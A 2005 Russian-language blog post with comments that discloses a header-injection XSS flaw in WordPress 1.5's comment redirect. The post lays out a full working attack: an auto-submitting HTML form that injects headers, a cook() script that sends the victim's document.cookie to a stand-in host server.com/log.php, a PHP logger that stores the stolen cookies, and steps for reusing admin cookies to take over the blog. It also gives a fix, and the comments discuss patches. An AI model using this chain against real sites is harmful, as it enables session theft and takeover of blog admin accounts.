XSS-уязвимость в WordPress

12 Ноября, 2005

О том, как можно осуществить XSS-нападение через функцию header() в PHP я прочитал тут. Кстати, автор статьи сообщил, что об этой уязвимости уже писали 3 года назад на securitylab.ru.

Я решил выяснить, подвержен ли WordPress такого рода нападению. В коде нашлось вот такие интересные места:

$location = (empty($_POST['redirect_to'])) ? $_SERVER["HTTP_REFERER"] : $_POST['redirect_to'];

wp_redirect($location);
это 60-62 строчки в файле wp-comments-post.php и соответственно реализация этой функции в файле wp-includes/pluggable-functions.php function wp_redirect($location) {
    global $is_IIS;

    if ($is_IIS)
        header("Refresh: 0;url=$location");
    else
        header("Location: $location");
}
В итоге получается, что вся логика работы такого редиректа сводится к строчке вида: header("Location: ".$_POST['redirect_to']);

Как видно, задача отличается от рассмотренной в выше указанной статье тем, что переменная берется из массива $_POST, а тут уже просто так символы "кавычка" и "обратный слеш" не передать, потому что предусмотрен механизм их экранирования.

Пришлось немного повозится, чтобы обойти эту преграду.

Далее под сервером blog.wp.com будет пониматься сервер, на котором установлен WordPress, а под server.com - сервер, на который есть возможность залить файлы, необходимые для осуществления нападения.

Ниже приведено содержимое файла, ссылку на который необходимо дать жертве, предварительно указав номер реально существующего поста на блоге жертвы:

<html>
    <body onLoad=document.forms["loginform"].submit()>
        <form name="loginform" id="loginform" action="http://blog.wp.com/wp-comments-post.php" method="post">
            <input type="hidden" name="comment_post_ID" value="1" />
            <input type="hidden" name="author" value="Wordpress-bug notifier" />
            <input type="hidden" name="email" value="xss@xss.xss" />
            <input type="hidden" name="url" value="http://ya.ru" />
            <input type="hidden" name="comment" value='Please fix xss-vulnerability on your Wopdpress blog engine.' />
            <textarea name="redirect_to" style="display: none;">

Content-Type: text/html


<html><body><script language=JavaScript src=http://server.com/js.js type=text
/javascript></script><script>cook()</script><!--</textarea>
        </form>
    </body>
</html>

Примечания:
- в четвертой снизу строчке открывающийся тег комментария нужно записать соответствующей мнемоникой;
- файл необходимо сохранить с windows-like переводом строки, т.к. имеено его значение эквивалентно последовательности \r\n, которую невозможно передать открытым текстом.

Фактически, в этом файле продублирована форма добавления комментария. При открытии этого файла в браузере жертвой будет автоматически просабмичена форма, в блог будет добавлен комментарий, а в браузер жертвы будет загружен html-код, который выполнит код функции cook() из файла js.js:

function cook() {
    document.location = "http://server.com/log.php?" + document.cookie;
}

Эта функция в свою очередь вызовет скрипт на сервере злоумышленика, передав ему при этом куки жертвы. Далее жертву можно перенаправить куда-угодно.

<?php
$fp = fopen("./log.txt", "a");
$temp = explode(";",$_SERVER["QUERY_STRING"]);
$str='';
foreach ($temp as $t) {
    $str.= $t."\r";
}
fputs($fp, $str."\r\r\r");
fclose($fp);
header("Location: http://server.com/somebody/");
?>

Теперь в файле log.txt у злоумышленника есть куки жертвы. Механизм авторизации у WordPress таков, что если администратор принудительно не вышел из админ-раздела посредством пункта меню "Logout", в его браузере в куках год будут храниться логин и пароль. Злоумышленнику остается посавить украденные куки на свой браузер и свободно зайти в админ-раздел блога.

Всех, кто использует WordPress для ведения блога, прошу устранить данную уязвимость, поменяв 60-ю строчку в файле wp-comments-post.php на:

$location = (empty($_POST['redirect_to'])) ? $_SERVER["HTTP_REFERER"] : urlencode($_POST['redirect_to']);

P.S. При написании этой статьи ни один блог кроме http://localhost/test/blogs/wordpress/ не пострадал ;)

P.P.S. Кто умеет и знает куда, сообщите об этой уязвимости разработчикам WordPress.

P.P.P.S. На IE как обычно ничего не заработало, хотя не факт, что нельзя приспособить эту уязвимость и для него.

Комментарии

1

Интересно как. А у тебя такие вещи возможны?

2

Отослал репорт разработчикам. Будем надеятся, что они в скором времени прореагируют.

3

Первая серьезная уязвимость в WP.

4

странно, но я не нашел таких строчек wp_redirect($location); у себя. Значит все путем?

5

Варианта два:
- ты плохо искал;
- возможно в старых версиях было что-то не так, я смотрел в 1.5 и 1.5.2

6

Я завел баг в Wordpress'овский тракер.
Я там быстро и коротко изложил суть по английски, посмотри, не напутал ли чего...

7

Кстати, у меня предложенный фикс (urlencode($location)) вызвал такие вот ошибки при оставлении комментария.
Хотя возможно, это какие-то особенности формы комментария в моей темке...

8

у меня 1.5.1.3

9

Поправил метод исправления уязвимости. Смотрите в посте.
Да, посидел тут, подумал и решил что в WordPress работают не самые лучшие разработчики. Надеятся на HTTP_REFERER глупо. Но это так, imxo.

10

Спасибо за инфу.

11
Первая серьезная уязвимость в WP.

Хм... :-) Как на счет "WordPress <= 1.5.1.1 sql injection "add new admin sql injection"? ;-)

DenD, запостил твой адвисори на своем сайте, на тех правах, что про статью "Бажный header()" узнал оттуда! :-D

12

Спасибо!

13

Спасибо.

14

Незнаю взможно это только у меня, но если в header подставить Location: ". urlencode("http://url.редиректа то редирект перекидывает на http://ваш.сайт/http://url.редиректа :)

15

как вариант можноstr_replace("document.cookie","" ...

16

Хмм, что-то странное.

Что это я не понял. Каким образом мы жетоны набитые под другой домен читаем?

Такое невозможно, если только вы не тестировали с одного домена всё.

17

1. JS-код, крадущий "печенья" исполняется именно на машине жертвы.

2. Утверждать, что что-то невозможно только потому, что Вы в этом не разобрались - глупо.

3. Все проверено. 100% гарантии ;)

18

А можно совершить такую XSS атаку и к чертям затереть форум, а лучше и все статьи на сайте www.superski.ru???

19

Нет, нельзя.
Деструктивной деятельностью я не занимаюсь.
Только созидание.

20

THX!...

21

Привет.
Ребята, а что делать если я в технических моментах ни буб бу. Нападение на меня уже совершили - было написанно сообщение от моего имени. А как удалить пробел в програме не знаю. Что сдеть то нужно? Может кто поможет?

22

Интересная статья. У меня возник такой вопрос. Пользователь в момент атаки лазит в админке. не будет ли исход атаки таким же, как если бы он просто закрыл браузер без предварительного Log-out'a?

23

Не понял сути вопроса. По-другому можешь сформулировать?

24

хм..а где вообще можно про wordpress почитать?

25

В WordPress 2.0 разработчики устранили уязвимость следующим способом:
$location = str_replace( array("\n", "\r"), '', $location);
Без \n и \r заголовки уже не подделаешь :)

26

Вот еще одна весточка: SQL-инъекция в WP-Stats 2.0

Описание:
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.

Уязвимость существует из-за недостаточной обработки входных данных в параметре "author" в сценарии wp-stats.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

Решение: Способов устранения уязвимости не существует в настоящее время.

Кто-нибудь использует этот плагин? Насколько популярен он? Если необходимо, могу попытаться написать баг-фикс.

27

Вышла новая версия бесплатного движка для блогов WordPress 1.5.2 (на котором и работает этот сайт).

28

Товарищ Master, вы откуда такой будете? ;)

29

Интересно... Что это? Лень? Или глупость? писать таким образом? Использовать реферер проще, но очень не надежно. По идее, в программе должна быть логика, согласно которой при выполнении определенных условий программа должна поступать строго определенным образом, а не по параметру извне. жуть.

30

а у меня в этом файле 57 строчек. версия 1.5. что бы это значило?

31

Наша зуботехническая лаборатория в Киеве – это команда прекрасных специалистов с богатым опытом работы и самое современное высокотехнологическое оборудование полного замкнутого цикла, которое обеспечивает решение широкого спектра задач – от сложных бюгельных протезов до модельного литья (Работы которые производит наша зуботехническая лаборатория).

32

Ой, держите меня!
Первый спам:) Причем, не машинный. Человк пришел с гугла по запросу wordpress
Удалять не буду, т.к. это первая весточка спама :))
Лечите зубы, господа!

33

Ну вот.. теперь бум ждать этих дантистов на своих блогах :)))

Еще и сайт у них на wordpress ездит.

34

В версии 2.0.1, иначе:
$location = preg_replace('|[^a-z0-9-~+_.?#=&;,/:]|i', '', $location);

35

Чего и следовало ожидать. PHP вырастил большую категорию разработчиков без культуры програмирования вообще и пусть со временем многие из них исправляются, но раз за разом вылазит какая-то гадость. PHP - это вроде Delphi современности, неплохой продукт, но его простота освоения сыграла с ним злую шутку, из-за низкого порога вхождения пришло слишком много малоквалифицированых пользвателей и боюсь это уже не исправишь, генетические недостатки будут давать знать о себе постоянно.

36

Wordpress — какое-то невероятное гавно. Почему им все пользуются?

Впрочем, нет. Неправильно. Давайте сначала.

Wordpress — какое-то невероятное гавно. Поэтому им все и пользуются. Есть же куча нормальных блоговских движков. Но приживается по старой доброй традиции только гавно.

Дело даже не в том, что оно тормозное. «Страница генерировалась 6 секунд и потребовала 28 запросов к базе», — гордо красовалось на каком-то блоге, работающем на Wordpress. 28 запросов на страницу, которая максимум требует три. Фиг с ней, с производительностью. Пусть хостер по этому поводу думает, у него голова большая. Нам, конченым юзерам, это ни к чему.

Хуже то, что он делался без привлечения мозга и загажен фичами. Какая тупая жопа додумалась, например, делать страницу «следующая страница» с постоянным адресом (/page/2/) но непостоянным контентом? В результате содержимое огромной кучи страниц на сайте меняется после каждой публикации и поисковые системы сходят с ума. Динамический сайт, ага. Что, noindex, nofollow? Хахаха. Если бы.

37

Я бы не стал так прямо ругать вордпресс, но отметил бы что это попса среди блогов. Почти как пхп-нюк. Это ни плохо, ни хорошо. Это реалии.

Добавить комментарий

Вы можете использовать следующие теги: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <code> <em> <i> <strike> <strong>